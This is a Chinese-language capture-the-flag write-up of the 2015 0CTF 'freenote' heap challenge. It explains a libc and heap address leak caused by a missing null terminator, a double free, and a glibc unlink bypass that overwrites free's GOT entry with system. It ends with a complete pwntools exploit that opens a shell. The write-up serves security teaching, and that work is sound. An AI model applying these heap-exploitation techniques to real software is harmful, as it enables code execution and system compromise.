這次選2015年的0ctf的一道非常經典的pwn題,感覺這個題目作為練習題來理解堆還是很棒的。
運行起來,可以看出是一個實現類似於記事本功能的程序,就這一點而言,基本是套路了,功能都試一遍之后,就可以去試着尋找漏洞了,
看呀看,看呀看,發現一個問題,咦,好像在free堆的時候沒有進行檢查額,有趣,問題肯定就在這里了。
詳細看過0day安全的都記得書里面的Dword Shoot吧!然而,隨着國內外黑客們隔段時間就喜歡搞點大新聞,所以無論在Linux和Windows上都插入了宏來驗證堆上的fd和bk是否發生了修改。具體代碼如下:
assert(p->fd->bk == p);
assert(p->bk->fd == p);
當然,這會在后面細說的,在利用double_free之前,要想辦法泄露出堆的地址,這里得看輸入字符串函數了,根據套路,一般都是這里出問題。
果不其然,這里輸入字符串結尾並沒有加上'/x00',說明可以讀取超過預定長度的字符串了,這里來回顧一下一個chunk長啥樣的,這里為了方便理解這個題的泄露方式,我自己畫了一個一維的圖:
其中FD中指向next_chunk,BK指向前置指針。換句話說,只要能夠得到FD或者BK的值,再通過一定的計算,就可以得到堆的地址了。而在glibc中,free之后並不會清空對中的內容,又因為如之前所說,輸入並不會在末尾加'\x00'。所以這里有很多種方法可以的得到指針的值,這里選取一種容易理解的來講解
可以分配一個chunk,然后再將它free掉,之后再分配一個等於8字節大小的chunk,覆蓋掉FD,但是此時,FD依然是之前的值,而且由於put函數直到遇到'\x00'才停止輸出,完全可以得到BK的值,在經 過計算就可以得到heap的基地址了
而且,這里還有一個挺有意思的地方,在glibc中,main Arena 在libc.so.6的數據段上,也就是說,我們也可以根據這種辦法來變相得到libc.so.6的基地址,當然也可以通過固有套路來得到基地址。源碼如下:
raw_input('*************************Leak_Libc*******************************8') notelen=0x80 new_note("A"*notelen) new_note("B"*notelen) delete_note(0) new_note("AAAAAAAA") list_note() p.recvuntil("0. AAAAAAAA") leak = p.recvuntil("\n") leaklibcaddr = u64(leak[0:-1].ljust(8, '\x00'))-0x3be7b8 print hex(leaklibcaddr) system_sh_addr = leaklibcaddr + 0x46590 print "system_sh_addr: " + hex(system_sh_addr) bin_sh_addr = leaklibcaddr + 0x17c8c3 delete_note(1) delete_note(0) raw_input('******************Leak_heap******************') notelen=0x80 new_note("A"*notelen) new_note("B"*notelen) new_note("C"*notelen) new_note("D"*notelen) delete_note(2) delete_note(0) new_note("AAAAAAAA") list_note() p.recvuntil("0. AAAAAAAA") leak = p.recvuntil("\n") #print leak[0:-1].encode('hex') heapBase= u64(leak[0:-1].ljust(8, '\x00'))-0x1820 print "heapBase:"+hex(heapBase) delete_note(0) delete_note(1) delete_note(3)
好啦,基地址拿到了,現在可以好好講講double_free了,在很久很久以前,那時候沒有那么多加固措施,那時候進行堆攻擊就挺方便的。直接溢出,偽造BK和FD就好了=_=。這個利用詳細可以看看exploit-exercise, fusion的heap3,這里只簡單講一下free函數里的unlink操作了,如下:
FD = P->fd; BK = P->bk; FD->bk = BK; \ BK->fd = FD;
然而,正如上文所說,加入了兩個斷言,所以就要相辦法繞過去,這里常規的方法就是找一個指向該chunk的指針p,同時將該chunk的fd指向p-3,而bk指向P-2。這樣的話就可以將*p = p-3了,同時,如果可以對*p,也就是chunk進行寫的話,就可以任意寫p-3之后的內存空間了。示意圖如下:
在這個題目中,通過對p進行寫,然后可以將p指向got.plt 中free的位置,再將free寫成system,最后再調用free就OK了!
具體思路大致就是這些,但是,還有一個很重要的問題沒有說,就是怎么得到偽造的機會以及怎么偽造,先來將怎么得到偽造的機會。
正如上文所說,本題沒有檢查chunk是否釋放,完全可以先連續malloc三個堆,chunkA,chunkB,chunkC,再釋放,根據堆的特性,這三個堆會合並,這是再分配一個小於size(chunkA)+size(chunkB)+size(chunkC)+0x20的堆,這是再對這片內存進行寫,來偽造連續四個堆(貌似可以只偽造兩個,但是還沒有看完glibc的malloc.c的代碼,所以以后再補),至於為什么偽造四個呢,這里要考慮到chunk的flag指向的是preChunk的狀態,而要觸發unlink操作的話,需要檢查上一個chunk和下一個chunk的狀態,這是就需要查看該chunk的flag和下下個chunk的flag了。在偽造的時候,需要注意的是有這么一段檢查(坑的一逼)
assert (P->fd_nextsize->bk_nextsize == P);
assert (P->bk_nextsize->fd_nextsize == P);
所以,我們的上一段的size(也就是進行unlink操作的那個chunk),等於本段的preSize。
所以偽造的堆塊如下。
payload = "" payload += p64(0x0) + p64(notelen+1) + p64(fd) + p64(bk) + "A" * (notelen - 0x20) payload += p64(notelen) + p64(notelen+0x10) + "A" * notelen payload += p64(0) + p64(notelen+0x11)+ "\x00" * (notelen-0x20)
下面是exp,在ubuntu可以直接使用,其它環境,請自己拿到libc.so.6的相關函數偏移地址:
#!/usr/bin/env python from pwn import * #switch DEBUG = 0 LOCAL = 1 VERBOSE = 1 if LOCAL: p = process('./freenote_x64') else: p = remote('127.0.0.1',6666) if VERBOSE: context(log_level='debug') def new_note(x): p.recvuntil("Your choice: ") p.send("2\n") p.recvuntil("Length of new note: ") p.send(str(len(x))+"\n") p.recvuntil("Enter your note: ") p.send(x) def delete_note(x): p.recvuntil("Your choice: ") p.send("4\n") p.recvuntil("Note number: ") p.send(str(x)+"\n") def list_note(): p.recvuntil("Your choice: ") p.send("1\n") def edit_note(x,y): p.recvuntil("Your choice: ") p.send("3\n") p.recvuntil("Note number: ") p.send(str(x)+"\n") p.recvuntil("Length of note: ") p.send(str(len(y))+"\n") p.recvuntil("Enter your note: ") p.send(y) if DEBUG: gdb.attach(p) raw_input('*************************Leak_Libc*******************************8') notelen=0x80 new_note("A"*notelen) new_note("B"*notelen) delete_note(0) new_note("AAAAAAAA") list_note() p.recvuntil("0. AAAAAAAA") leak = p.recvuntil("\n") leaklibcaddr = u64(leak[0:-1].ljust(8, '\x00'))-0x3be7b8 print hex(leaklibcaddr) system_sh_addr = leaklibcaddr + 0x46590 print "system_sh_addr: " + hex(system_sh_addr) bin_sh_addr = leaklibcaddr + 0x17c8c3 delete_note(1) delete_note(0) raw_input('******************Leak_heap******************') notelen=0x80 new_note("A"*notelen) new_note("B"*notelen) new_note("C"*notelen) new_note("D"*notelen) delete_note(2) delete_note(0) new_note("AAAAAAAA") list_note() p.recvuntil("0. AAAAAAAA") leak = p.recvuntil("\n") #print leak[0:-1].encode('hex') heapBase= u64(leak[0:-1].ljust(8, '\x00'))-0x1820 print "heapBase:"+hex(heapBase) delete_note(0) delete_note(1) delete_note(3) raw_input('*******************doubel_free*****************') notelen = 0x80 #new_note("/bin/sh\x00"+"A"*(notelen-8)) new_note("A"*notelen) new_note("B"*notelen) new_note("C"*notelen) delete_note(2) delete_note(1) delete_note(0) fd = heapBase + 0x18#notetable bk = fd + 0x8 payload = "" payload += p64(0x0) + p64(notelen+1) + p64(fd) + p64(bk) + "A" * (notelen - 0x20) payload += p64(notelen) + p64(notelen+0x10) + "A" * notelen payload += p64(0) + p64(notelen+0x11)+ "\x00" * (notelen-0x20) new_note(payload) raw_input('*******************beforetest*****************') delete_note(1) free_got = 0x602018 payload2 = p64(2)+p64(1)+p64(0x8)+p64(free_got)+'A'*0x10+p64(bin_sh_addr) payload2 += 'A'*(0x180-len(payload2)) edit_note(0, payload2) edit_note(0, p64(system_sh_addr)) delete_note(1) p.interactive()